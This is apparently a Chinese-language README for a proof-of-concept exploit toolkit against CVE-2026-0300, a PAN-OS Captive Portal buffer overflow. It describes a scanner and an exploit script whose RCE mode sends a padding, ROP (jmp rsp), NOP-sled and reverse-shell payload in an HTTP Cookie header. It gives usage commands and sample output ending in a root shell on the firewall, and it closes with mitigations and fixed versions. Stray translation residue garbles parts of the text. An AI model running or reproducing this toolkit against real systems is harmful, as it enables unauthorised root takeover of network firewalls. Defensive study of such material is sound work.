描述

于 PAN-OS 软件的 User-ID 认证门户服务中存在一个缓冲区溢出漏洞，攻击者无需认证，通过发送特制数据包即可在防火墙上以 root 权限执行任意代码。Captive Portal HTTP 服务使用固定大小的栈缓冲区解析 HTTP 头，可通过超大头值（Cookie、User-Agent、URI 或 POST 正文）导致溢出。

暴露所需配置

目标易受攻击必须同时满足以下两个条件：

1. 启用 User-ID 认证门户 — 设备 > 用户识别 > 认证门户设置 > 启用认证门户
2. 接口管理配置文件包含响应页面 — 附加到三层接口，且该接口位于不受信任/互联网流量可进入的区域

公告参考

• 官方公告：https://security.paloaltonetworks.com/CVE-2026-0300
• 最佳实践指南：https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

受影响版本

不受影响：Prisma Access、Cloud NGFW、Panorama 设备。

架构图

系统架构```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

漏洞利用流程 (RCE 模式)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

安装```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

The scanner will:

• Probe common ports (443, 80, 8080, 8443, 8843)
• Send HTTP requests and check for Captive Portal fingerprints
• Extract PAN-OS version from Server headers and response body
• Check if the version falls within vulnerable ranges
• Print a color-coded report

Step 2: Scan with Specific Port```bash

python3 scan.py --target 192.168.1.1 --port 443

No input content was provided to translate.```bash python3 scan.py --targets targets.txt

扫描器输出示例```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

它的作用：

• 发送一个 4KB 的 Cookie 头（超大但未武器化）
• 发送一个正常请求用于基线比较
• 报告目标是否对超大输入做出不同响应
• 如果响应不同，则指示可能存在漏洞

模式 2：崩溃（DoS 验证）

发送一个带有无效返回地址（0x41414141）的缓冲区溢出负载，以使 Captive Portal 服务崩溃。```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

功能:

• 生成载荷：填充 + ROP gadget (jmp rsp) + NOP sled + 反向 shell shellcode
• 在回调 IP:port 上启动 TCP 监听器
• 向目标发送武器化 HTTP 请求
• 等待反向 shell 回调
• 收到连接即报告成功

必需参数:

• --version — 目标 PAN-OS 版本（决定缓冲区偏移和 ROP gadget）
• --callback-ip — 您的 IP 地址（必须可从目标访问）
• --callback-port — 反向 shell 回调端口（默认: 4444）

可选参数:

• --vector cookie|ua|uri|post — 溢出向量（默认: cookie）
• --nop-sled 128 — NOP sled 大小（字节）（默认: 128）
• --timeout 30 — 连接和监听器超时时间（秒）
• --http — 使用 HTTP 而非 HTTPS
• --json report.json — 将漏洞利用报告保存为 JSON

漏洞利用输出示例（RCE）```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

Shellcode

该漏洞利用程序使用位置无关的 x86_64 Linux shellcode，其功能如下：

1. 创建一个 TCP 套接字（socket(AF_INET, SOCK_STREAM, 0)）
2. 反向连接到攻击者的 IP:port（connect()）
3. 将 stdin/stdout/stderr 重定向到套接字（dup2()）
4. 生成一个 shell（execve("/bin/sh", NULL, NULL)）

shellcode 总大小：约 184 字节，包含 syscall 指令（\x0f\x05）。

缓解措施

立即行动

1. 限制访问 User-ID 认证门户 — 仅限受信任的内部 IP 地址
2. 在不受信任的接口上禁用响应页面（Network > Interface > Advanced > Management Interface Profile）
3. 如果不需要，禁用认证门户（Device > User Identification > Authentication Portal Settings）
4. 升级 PAN-OS 到已修复版本

已修复版本

• PAN-OS 10.2: 10.2.7-h34 及更高版本
• PAN-OS 11.1: 11.1.15 及更高版本
• PAN-OS 11.2: 11.2.12 及更高版本
• PAN-OS 12.1: 12.1.7 及更高版本

免责声明

本工具仅供授权的安全测试和教育目的使用。仅可对您拥有或已获得明确书面许可的系统进行测试。未经授权对生产系统使用本工具属于违法行为，并可能违反计算机欺诈和滥用法律。

作者不对该工具的滥用承担任何责任。请始终遵循负责任披露实践，并遵守适用的法律法规。